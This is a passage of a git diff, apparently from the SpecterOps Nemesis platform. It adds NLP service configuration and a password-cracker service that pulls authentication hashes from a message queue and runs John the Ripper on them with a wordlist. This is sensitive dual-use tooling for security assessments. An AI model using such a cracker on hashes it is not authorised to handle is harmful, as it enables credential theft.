+ {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"},
+ {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"},
+ {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"},
+ {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"},
+]
+
+[package.dependencies]
+idna = ">=2.0"
+multidict = ">=4.0"
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.11.2"
+content-hash = "716c2b833c9e821fe199ed06cc61bf6f017a0192d7281ecf106d5b6d811cb2c3"
diff --git a/cmd/nlp/poetry.toml b/cmd/nlp/poetry.toml
new file mode 100644
index 0000000..be97f1e
--- /dev/null
+++ b/cmd/nlp/poetry.toml
@@ -0,0 +1,3 @@
+[virtualenvs]
+in-project = true
+prefer-active-python = true
\ No newline at end of file
diff --git a/cmd/nlp/pyproject.toml b/cmd/nlp/pyproject.toml
new file mode 100644
index 0000000..83cbe3c
--- /dev/null
+++ b/cmd/nlp/pyproject.toml
@@ -0,0 +1,70 @@
+[tool.poetry]
+name = "nlp"
+version = "0.1.0"
+description = ""
+authors = ["SpecterOps "]
+packages = [{ include = "nlp" }]
+
+[tool.poetry.scripts]
+app = "nlp.__main__:main"
+
+[tool.poetry.dependencies]
+python = "^3.11.2"
+langchain = "^0.0.163"
+typing-extensions = "^4.5.0"
+fastapi = "^0.82.0"
+fastapi-class = "^2.0.0"
+uvicorn = { extras = ["standard"], version = "^0.22.0" }
+prometheus-async = { extras = ["aiohttp"], version = "^22.2.0"}
+aiohttp = "^3.8.4"
+nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true }
+nemesispb = { path = "../../packages/python/nemesispb", develop = true }
+elasticsearch = "^8.7.0"
+torch = {version = "^2.0.1+cpu", source = "torch"}
+sentence-transformers = "^2.2.2"
+tiktoken = "^0.4.0"
+
+[tool.poetry.dev-dependencies]
+pytest = "^7.1.2"
+black = "^22.6.0"
+flake8 = "^5.0.4"
+mypy = "^0.971"
+
+[[tool.poetry.source]]
+name = "torch"
+url = "https://download.pytorch.org/whl/cpu"
+default = false
+secondary = true
+
+
+[tool.poetry.group.dev.dependencies]
+debugpy = "^1.6.7"
+
+[build-system]
+requires = ["poetry-core"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.isort]
+import_heading_stdlib = "Standard Libraries"
+import_heading_firstparty = "Nemesis Libraries"
+import_heading_thirdparty = "3rd Party Libraries"
+profile = "black"
+extra_standard_library = "asgiref"
+known_first_party = "nemesis"
+src_paths = ["isort", "test"]
+line_length = 90
+use_parentheses = true
+multi_line_output = 3
+include_trailing_comma = true
+ensure_newline_before_comments = true
+sections = [
+ "FUTURE",
+ "STDLIB",
+ "DJANGO",
+ "THIRDPARTY",
+ "FIRSTPARTY",
+ "LOCALFOLDER",
+]
+
+[tool.black]
+line-length = 240
diff --git a/cmd/nlp/pyrightconfig.json b/cmd/nlp/pyrightconfig.json
new file mode 100644
index 0000000..6c8ac6f
--- /dev/null
+++ b/cmd/nlp/pyrightconfig.json
@@ -0,0 +1,37 @@
+{
+ "include": [
+ "**/*.py"
+ ],
+ "exclude": [
+ "**/__pycache__/**",
+ "**/.git/objects/**",
+ "**/.git/subtree-cache/**",
+ "**/.hg/store/**",
+ "**/.ipynb_checkpoints/**",
+ "**/.mypy_cache/**",
+ "**/.pytest_cache/**",
+ "**/.venv/**",
+ "**/*.egg-info/**",
+ "**/build/**",
+ "**/dist/**",
+ "**/node_modules/*/**",
+ ],
+ "executionEnvironments": [
+ {
+ "root": ".",
+ "pythonVersion": "3.11",
+ "extraPaths": [
+ "../../packages/python/nemesiscommon",
+ "../../packages/python/nemesispb",
+ ]
+ },
+ ],
+ "ignore": [],
+ "pythonVersion": "3.11",
+ "reportMissingImports": true,
+ "reportMissingTypeStubs": false,
+ "typeCheckingMode": "basic",
+ "useLibraryCodeForTypes": true,
+ "venvPath": ".",
+ "venv": ".venv"
+}
\ No newline at end of file
diff --git a/cmd/nlp/tests/__init__.py b/cmd/nlp/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/passwordcracker/.dockerignore b/cmd/passwordcracker/.dockerignore
new file mode 100644
index 0000000..0b1e1e7
--- /dev/null
+++ b/cmd/passwordcracker/.dockerignore
@@ -0,0 +1,27 @@
+**/__pycache__
+**/.venv
+**/.classpath
+**/.dockerignore
+**/.env
+**/.git
+**/.gitignore
+**/.project
+**/.settings
+**/.toolstarget
+**/.vs
+**/.vscode
+**/*.*proj.user
+**/*.dbmdl
+**/*.jfm
+**/bin
+**/charts
+**/docker-compose*
+**/compose*
+**/Dockerfile*
+**/node_modules
+**/npm-debug.log
+**/obj
+**/secrets.dev.yaml
+**/values.dev.yaml
+LICENSE
+README.md
diff --git a/cmd/passwordcracker/.env.example b/cmd/passwordcracker/.env.example
new file mode 100644
index 0000000..e2ea1cd
--- /dev/null
+++ b/cmd/passwordcracker/.env.example
@@ -0,0 +1,8 @@
+ASSESSMENT_ID=ASSESS-TEST
+CRACK_WORDLIST_TOP_WORDS=1000000
+DATA_DOWNLOAD_DIR=/tmp
+ENVIRONMENT=development
+LOG_LEVEL=DEBUG
+PROMETHEUS_PORT=9090
+PUBLIC_KIBANA_URL=http://127.0.0.1:8080/kibana/
+RABBITMQ_CONNECTION_URI='amqp://nemesis:Qwerty12345@127.0.0.1:5672/'
\ No newline at end of file
diff --git a/cmd/passwordcracker/.flake8 b/cmd/passwordcracker/.flake8
new file mode 100644
index 0000000..f3b8a89
--- /dev/null
+++ b/cmd/passwordcracker/.flake8
@@ -0,0 +1,9 @@
+[flake8]
+ignore = E231, E241
+max-line-length = 240
+count = true
+max-complexity = 10
+max-cognitive-complexity=20
+exclude =
+ enrichment/lib/ext_tools
+ .venv
\ No newline at end of file
diff --git a/cmd/passwordcracker/.gitignore b/cmd/passwordcracker/.gitignore
new file mode 100644
index 0000000..ddf4581
--- /dev/null
+++ b/cmd/passwordcracker/.gitignore
@@ -0,0 +1,163 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# pdm
+# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+#pdm.lock
+# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
+# in version control.
+# https://pdm.fming.dev/#use-with-ide
+.pdm.toml
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+# and can be added to the global gitignore or merged into this file. For a more nuclear
+# option (not recommended) you can uncomment the following to ignore the entire idea folder.
+#.idea/
+
+process_categorizer-data/
+# Ignore dynaconf secret files
+.secrets.*
diff --git a/cmd/passwordcracker/.python-version b/cmd/passwordcracker/.python-version
new file mode 100644
index 0000000..1e33456
--- /dev/null
+++ b/cmd/passwordcracker/.python-version
@@ -0,0 +1 @@
+3.11.2
diff --git a/cmd/passwordcracker/.vscode/extensions.json b/cmd/passwordcracker/.vscode/extensions.json
new file mode 100644
index 0000000..5751efd
--- /dev/null
+++ b/cmd/passwordcracker/.vscode/extensions.json
@@ -0,0 +1,16 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations.
+ // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp
+ // List of extensions which should be recommended for users of this workspace.
+ "recommendations": [
+ "ms-python.black-formatter",
+ "ms-python.flake8",
+ "ms-python.isort",
+ "ms-python.python",
+ "ms-python.vscode-pylance",
+ "njpwerner.autodocstring",
+ "zxh404.vscode-proto3",
+ ],
+ // List of extensions recommended by VS Code that should not be recommended for users of this workspace.
+ "unwantedRecommendations": []
+}
\ No newline at end of file
diff --git a/cmd/passwordcracker/.vscode/launch.json b/cmd/passwordcracker/.vscode/launch.json
new file mode 100644
index 0000000..5e8a176
--- /dev/null
+++ b/cmd/passwordcracker/.vscode/launch.json
@@ -0,0 +1,22 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Service: passwordcracker",
+ "type": "python",
+ "request": "launch",
+ "module": "passwordcracker",
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}",
+ "justMyCode": false,
+ "env": {
+ // "PYTHONASYNCIODEBUG": "1",
+ "BETTER_EXCEPTIONS": "1",
+ "FORCE_COLOR": "1",
+ }
+ },
+ ]
+}
\ No newline at end of file
diff --git a/cmd/passwordcracker/.vscode/settings.json b/cmd/passwordcracker/.vscode/settings.json
new file mode 100644
index 0000000..1490d27
--- /dev/null
+++ b/cmd/passwordcracker/.vscode/settings.json
@@ -0,0 +1,64 @@
+{
+ "[javascript]": {
+ "editor.formatOnSave": false
+ },
+ "[html]": {
+ "editor.formatOnSave": false
+ },
+ "[python]": {
+ "editor.codeActionsOnSave": {
+ "source.organizeImports": true
+ },
+ "editor.defaultFormatter": "ms-python.black-formatter",
+ "editor.formatOnSave": true,
+ },
+ "autoDocstring.docstringFormat": "google",
+ "editor.formatOnSave": true,
+ "files.exclude": {
+ "**/.DS_Store": true,
+ "**/.git": true,
+ "**/.hg": true,
+ "**/.mypy_cache": true,
+ "**/.pytest_cache": true,
+ "**/.svn": true,
+ "**/.venv": true,
+ "**/__pycache__": true,
+ "**/Thumbs.db": true
+ },
+ "files.trimTrailingWhitespace": true,
+ "files.watcherExclude": {
+ "**/__pycache__/**": true,
+ "**/.git/objects/**": true,
+ "**/.git/subtree-cache/**": true,
+ "**/.hg/store/**": true,
+ "**/.ipynb_checkpoints/**": true,
+ "**/.mypy_cache/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.egg-info/**": true,
+ "**/build/**": true,
+ "**/dist/**": true,
+ "**/node_modules/*/**": true,
+ },
+ "python.analysis.diagnosticSeverityOverrides": {
+ "reportMissingImports": "none",
+ "reportMissingModuleSource": "none",
+ },
+ "python.analysis.useLibraryCodeForTypes": true, // Pyright
+ "python.formatting.provider": "none",
+ "python.languageServer": "Pylance",
+ "python.linting.enabled": true,
+ "python.linting.flake8Args": [
+ "--max-line-length=240",
+ "--ignore=E203,E722,W503",
+ ],
+ "python.linting.flake8Enabled": true,
+ "python.linting.lintOnSave": true,
+ "python.linting.pylintEnabled": false,
+ "python.testing.pytestArgs": [
+ "tests"
+ ],
+ "python.testing.unittestEnabled": false,
+ "python.testing.pytestEnabled": true,
+ "python.analysis.typeCheckingMode": "basic",
+}
\ No newline at end of file
diff --git a/cmd/passwordcracker/.vscode/tasks.json b/cmd/passwordcracker/.vscode/tasks.json
new file mode 100644
index 0000000..00b0263
--- /dev/null
+++ b/cmd/passwordcracker/.vscode/tasks.json
@@ -0,0 +1,12 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=733558
+ // for the documentation about the tasks.json format
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "Type Checking",
+ "type": "shell",
+ "command": "poetry run pyright"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/passwordcracker/README.md b/cmd/passwordcracker/README.md
new file mode 100644
index 0000000..cd387bc
--- /dev/null
+++ b/cmd/passwordcracker/README.md
@@ -0,0 +1,33 @@
+# Usage
+```
+docker build -t enrichments .
+
+docker run --rm enrichments
+```
+
+# submit_to_nemesis
+Usage:
+```
+poetry run python -m enrichment.cli.submit_to_nemesis [OPTIONS]
+```
+
+Example: Submit all files to the folder (use the absolute path):
+```
+poetry run python -m enrichment.cli.submit_to_nemesis --folder /code/ods/sample_files
+```
+
+Example: Submit multiple files with verbose logging
+```
+poetry run python -m enrichment.cli.submit_to_nemesis -f /etc/issue /etc/hosts --log_level DEBUG
+```
+
+
+# Yara
+
+To post a file to the Yara endpoint, use:
+```
+curl -i -X POST --user 'nemesis:Password123!' -H "Content-Type: multipart/form-data" -F "file=@file.exe" http://127.0.0.1:8080/yara/file
+```
+
+# Acknowldegements
+* AV product list was originally derived partially from https://github.com/kazimer/Aggressor-scripts-1/tree/master/Ps-highlight
\ No newline at end of file
diff --git a/cmd/passwordcracker/passwordcracker/__main__.py b/cmd/passwordcracker/passwordcracker/__main__.py
new file mode 100644
index 0000000..e308098
--- /dev/null
+++ b/cmd/passwordcracker/passwordcracker/__main__.py
@@ -0,0 +1,14 @@
+# 3rd Party Libraries
+from passwordcracker.bootstrap import main
+from passwordcracker.containers import Container
+
+if __name__ == "__main__":
+ container = Container()
+ container.wire(
+ modules=[
+ "passwordcracker",
+ "passwordcracker.bootstrap",
+ ]
+ )
+
+ main(container)
diff --git a/cmd/passwordcracker/passwordcracker/bootstrap.py b/cmd/passwordcracker/passwordcracker/bootstrap.py
new file mode 100644
index 0000000..231c952
--- /dev/null
+++ b/cmd/passwordcracker/passwordcracker/bootstrap.py
@@ -0,0 +1,100 @@
+# Standard Libraries
+import asyncio
+import signal
+from typing import Any, Optional
+from urllib.parse import urlparse
+
+# 3rd Party Libraries
+import structlog
+from dependency_injector.wiring import Provide, inject
+from nemesiscommon.logging import configure_logger
+from nemesiscommon.setupqueues import initRabbitMQ
+from nemesiscommon.socketwaiter import SocketWaiter
+from passwordcracker.containers import Container
+from passwordcracker.settings import PasswordCrackerSettings
+
+logger: structlog.BoundLogger = structlog.get_logger(module=__name__)
+
+
+@inject
+async def amain(container: Container):
+ await container.init_resources() # type: ignore
+ config = container.config2()
+
+ await initRabbitMQ(config.rabbitmq_connection_uri)
+ await wait_for_services(config)
+
+ dispatcher = await container.task_dispatcher() # type: ignore
+ await dispatcher.start()
+
+
+@inject
+def main(container: Container, config=Provide[Container.config]):
+ configure_logger(False, config["log_level"], config["environment"].value)
+ logger = structlog.get_logger(module=__name__)
+ loop = asyncio.get_event_loop()
+
+ if config["environment"].is_development():
+ loop.slow_callback_duration = 1
+
+ signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT)
+ for s in signals:
+ loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(container, loop, s)))
+ loop.set_exception_handler(handle_exception)
+
+ try:
+ task = amain(container)
+ loop.run_until_complete(task)
+ except asyncio.exceptions.CancelledError:
+ logger.debug("Primary App asyncio task cancelled. Application is shutting down.")
+
+
+async def shutdown(container: Container, loop: asyncio.AbstractEventLoop, signal: Optional[signal.Signals] = None):
+ """Cleanup tasks tied to the service's shutdown."""
+
+ if signal:
+ logger.info(f"Shutting down due the signal '{signal.name}'...")
+ else:
+ logger.info("Shutting down...")
+
+ await container.shutdown_resources() # type: ignore
+ tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()]
+
+ logger.debug(f"Cancelling {len(tasks)} outstanding tasks")
+ [task.cancel() for task in tasks]
+
+ await asyncio.gather(*tasks)
+
+ loop.stop()
+
+
+def handle_exception(loop: asyncio.AbstractEventLoop, context: dict[str, Any]):
+ # context["message"] will always be there; but context["exception"] may not
+ e = context.get("exception", None)
+ msg = context.get("message")
+
+ if "exception" in context:
+ logger.error(
+ "Unhandled global exception",
+ exception=str(e),
+ exception_message=msg,
+ )
+ else:
+ logger.error("Unhandled global exception", exception_message=msg)
+
+ # logger.info("Shutting down...")
+ # asyncio.create_task(shutdown(loop))
+
+
+async def wait_for_services(config: PasswordCrackerSettings) -> None:
+ rabbitUri = urlparse(config.rabbitmq_connection_uri)
+
+ if rabbitUri.hostname is None:
+ raise Exception("Invalid connection URI")
+ if rabbitUri.port is None:
+ raise Exception("Invalid connection URI")
+
+ # TODO: Check that JohnTheRipper is installed
+
+ SocketWaiter(rabbitUri.hostname, rabbitUri.port).wait()
+ await logger.ainfo("All services are online!")
diff --git a/cmd/passwordcracker/passwordcracker/containers.py b/cmd/passwordcracker/passwordcracker/containers.py
new file mode 100644
index 0000000..4d81412
--- /dev/null
+++ b/cmd/passwordcracker/passwordcracker/containers.py
@@ -0,0 +1,102 @@
+# Standard Libraries
+from typing import AsyncGenerator
+
+# 3rd Party Libraries
+import google.protobuf.message
+import httpx
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import passwordcracker.settings as settings
+from dependency_injector import containers, providers
+from nemesiscommon.constants import NemesisQueue
+from nemesiscommon.messaging_rabbitmq import (
+ NemesisRabbitMQConsumer,
+ NemesisRabbitMQProducer,
+)
+from nemesiscommon.services.alerter import NemesisAlerter
+from nemesiscommon.tasking import TaskDispatcher
+from passwordcracker.services.john_the_ripper_cracker import JohnTheRipperCracker
+from passwordcracker.settings import PasswordCrackerSettings
+from passwordcracker.tasks.password_cracker import PasswordCracker
+
+
+async def create_consumer(
+ rabbitmq_connection_uri: str,
+ queue: NemesisQueue,
+ message_type: google.protobuf.message.Message,
+ service_id: str,
+ num_events: int = 250,
+):
+ async with (await NemesisRabbitMQConsumer.create(rabbitmq_connection_uri, queue, message_type, service_id, num_events) as inputQ,): # type: ignore
+ yield inputQ
+
+
+async def create_producer(rabbitmq_connection_uri: str, queue: NemesisQueue):
+ async with (
+ await NemesisRabbitMQProducer.create(
+ rabbitmq_connection_uri,
+ queue,
+ ) as outputQ,
+ ):
+ yield outputQ
+
+
+async def create_http_retry_client() -> AsyncGenerator[httpx.AsyncClient, None]:
+ transport = httpx.AsyncHTTPTransport(retries=5)
+ async with httpx.AsyncClient(transport=transport) as client:
+ yield client
+
+
+class Container(containers.DeclarativeContainer):
+ #
+ # Configuration
+ #
+ config: PasswordCrackerSettings = providers.Configuration(pydantic_settings=[settings.config], strict=True) # type: ignore
+ config2 = providers.Factory(PasswordCrackerSettings)
+
+ #
+ # Queues
+ #
+ inputq_passwordcracker_passwordcrackertask = providers.Resource(
+ create_consumer,
+ config.rabbitmq_connection_uri,
+ constants.Q_AUTHENTICATION_DATA,
+ pb.AuthenticationDataIngestionMessage,
+ "passwordcracker",
+ num_events=1,
+ )
+ outputq_alert = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_ALERT)
+ outputq_extractedhash = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_EXTRACTED_HASH)
+
+ #
+ # Services
+ #
+ http_client = providers.Resource(create_http_retry_client)
+
+ alerting_service = providers.Factory(
+ NemesisAlerter,
+ outputq_alert,
+ config.public_kibana_url,
+ )
+ cracker_service = providers.Factory(
+ JohnTheRipperCracker,
+ config.data_download_dir,
+ )
+
+ #
+ # passwordcracker Service Tasks
+ #
+ task_passwordcracker = providers.Factory(
+ PasswordCracker,
+ config2,
+ alerting_service,
+ cracker_service,
+ inputq_passwordcracker_passwordcrackertask,
+ outputq_extractedhash,
+ )
+
+ task_list = providers.List(
+ task_passwordcracker,
+ )
+
+ task_dispatcher = providers.Factory(TaskDispatcher, task_list, config.prometheus_port)
diff --git a/cmd/passwordcracker/passwordcracker/services/john_the_ripper_cracker.py b/cmd/passwordcracker/passwordcracker/services/john_the_ripper_cracker.py
new file mode 100644
index 0000000..122bfef
--- /dev/null
+++ b/cmd/passwordcracker/passwordcracker/services/john_the_ripper_cracker.py
@@ -0,0 +1,93 @@
+# Standard Libraries
+import subprocess
+from abc import abstractmethod
+from tempfile import NamedTemporaryFile
+from typing import Optional
+
+# 3rd Party Libraries
+import structlog
+
+logger = structlog.get_logger(module=__name__)
+
+
+class PasswordCrackerInterface:
+ @abstractmethod
+ async def crack(self, hash: str, wordlist_file_path: str, format: Optional[str] = None) -> Optional[str]:
+ pass
+
+
+class JohnTheRipperCracker(PasswordCrackerInterface):
+ temp_dir: str
+
+ def __init__(self, temp_dir: str) -> None:
+ self.temp_dir = temp_dir
+
+ async def crack(self, hash: str, wordlist_file_path: str, format: Optional[str] = None) -> Optional[str]:
+ if not hash:
+ raise Exception("input hash to john cannot be empty")
+
+ with (
+ NamedTemporaryFile(dir=self.temp_dir, prefix="jtr_hash") as hash_file,
+ NamedTemporaryFile(dir=self.temp_dir, prefix="jtr_pot") as pot_file,
+ ):
+ # write out the hash to a temporary file for JTR to process it
+ with open(hash_file.name, "w") as f:
+ f.write(hash)
+
+ logger.info("Cracking hash with JohnTheRipper", format=format)
+
+ if format:
+ # TODO: convert this to using asyncio's subprocess functions
+ result = subprocess.run(
+ [
+ "/opt/john/run/john",
+ f"--format={format}",
+ f"--wordlist={wordlist_file_path}",
+ "--no-log",
+ f"--pot={pot_file.name}",
+ f"{hash_file.name}",
+ ],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+ else:
+ result = subprocess.run(
+ [
+ "/opt/john/run/john",
+ f"--wordlist={wordlist_file_path}",
+ "--no-log",
+ f"--pot={pot_file.name}",
+ f"{hash_file.name}",
+ ],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ )
+
+ return await self.get_password_from_result(result, pot_file.name)
+
+ async def get_password_from_result(self, result: subprocess.CompletedProcess, pot_file_path: str) -> Optional[str]:
+ # Check if the cracking finished successfully
+ if "Session completed" not in str(result.stderr):
+ logger.error("JohnTheRipper did not run successfully", stdout=result.stdout, stderr=result.stderr)
+ return None
+
+ # try to read in the temporary .pot file that contains any results
+ with open(pot_file_path, "r") as f:
+ pot_contents = f.read()
+
+ return await self.parse_pot_file(pot_contents)
+
+ async def parse_pot_file(self, pot_contents: str) -> Optional[str]:
+ # We expect the pot file to end with a newline (successful run) or to be emtpy (no results)
+ # If neither of those are true, then something went wrong
+ if pot_contents == "":
+ logger.debug("No results from JohnTheRipper")
+ return None
+ elif pot_contents.endswith("\n"):
+ pot_contents = pot_contents[:-1]
+ logger.debug("JohnTheRipper successfully cracked a hash!")
+ else:
+ raise Exception("pot file does not end with a newline")
+
+ password = pot_contents.split(":")[-1]
+ return password
diff --git a/cmd/passwordcracker/passwordcracker/settings.py b/cmd/passwordcracker/passwordcracker/settings.py
new file mode 100644
index 0000000..f6f607f
--- /dev/null
+++ b/cmd/passwordcracker/passwordcracker/settings.py
@@ -0,0 +1,21 @@
+# Standard Libraries
+from enum import IntEnum
+
+# 3rd Party Libraries
+from nemesiscommon.settings import HttpUrlWithSlash, NemesisServiceSettings
+from pydantic.networks import AnyUrl
+
+
+class CrackWordlistSize(IntEnum):
+ VALUE_10000 = 10000
+ VALUE_100000 = 100000
+
+
+class PasswordCrackerSettings(NemesisServiceSettings): # type: ignore
+ rabbitmq_connection_uri: AnyUrl
+ public_kibana_url: HttpUrlWithSlash
+ data_download_dir: str
+ crack_wordlist_top_words: CrackWordlistSize # either 10000 or 100000 for now
+
+
+config = PasswordCrackerSettings() # type: ignore
diff --git a/cmd/passwordcracker/passwordcracker/tasks/password_cracker.py b/cmd/passwordcracker/passwordcracker/tasks/password_cracker.py
new file mode 100644
index 0000000..a98439a
--- /dev/null
+++ b/cmd/passwordcracker/passwordcracker/tasks/password_cracker.py
@@ -0,0 +1,128 @@
+# Standard Libraries
+import asyncio
+import os
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from nemesiscommon.messaging import (
+ MessageQueueConsumerInterface,
+ MessageQueueProducerInterface,
+)
+from nemesiscommon.services.alerter import AlerterInterface
+from nemesiscommon.tasking import TaskInterface
+from passwordcracker.services.john_the_ripper_cracker import PasswordCrackerInterface
+from passwordcracker.settings import PasswordCrackerSettings
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class PasswordCracker(TaskInterface):
+ cfg: PasswordCrackerSettings
+ alerter: AlerterInterface
+ cracker: PasswordCrackerInterface
+ semaphore: asyncio.Semaphore
+
+ # Queues
+ auth_data_q_in: MessageQueueConsumerInterface
+ extracted_hash_q_out: MessageQueueProducerInterface
+
+ def __init__(
+ self,
+ cfg: PasswordCrackerSettings,
+ alerter: AlerterInterface,
+ cracker: PasswordCrackerInterface,
+ auth_data_q_in: MessageQueueConsumerInterface,
+ extracted_hash_q_out: MessageQueueProducerInterface,
+ ):
+ self.cfg = cfg
+ self.alerter = alerter
+ self.cracker = cracker
+ self.auth_data_q_in = auth_data_q_in
+ self.extracted_hash_q_out = extracted_hash_q_out
+
+ current_dir = os.path.dirname(os.path.realpath(__file__))
+ self.wordlist_path = os.path.join(current_dir, "..", "wordlists", f"top_{self.cfg.crack_wordlist_top_words}.txt")
+ self.wordlist_path = os.path.abspath(self.wordlist_path)
+
+ if not os.path.exists(self.wordlist_path):
+ raise Exception(f"Wordlist file {self.wordlist_path} does not exist")
+
+ # TODO: test the semaphore
+ self.semaphore = asyncio.Semaphore()
+
+ async def run(self) -> None:
+ await logger.ainfo("Starting the Auth Data service")
+
+ await asyncio.gather(
+ self.auth_data_q_in.Read(self.handle_auth_data), # type: ignore
+ )
+ await asyncio.Future()
+
+ async def handle_auth_data(self, q_msg: pb.AuthenticationDataIngestionMessage) -> None:
+ await self.process_auth_data(q_msg)
+
+ @aio.time(Summary("process_auth_data", "Time spent processing an Auth Data event")) # type: ignore
+ async def process_auth_data(self, event: pb.AuthenticationDataIngestionMessage):
+ """Main function to process authentication data events."""
+
+ for data in event.data:
+ # Skip any event that isn't a hash
+ if not len(data.type) > 0 or not data.type.startswith("hash_"):
+ continue
+
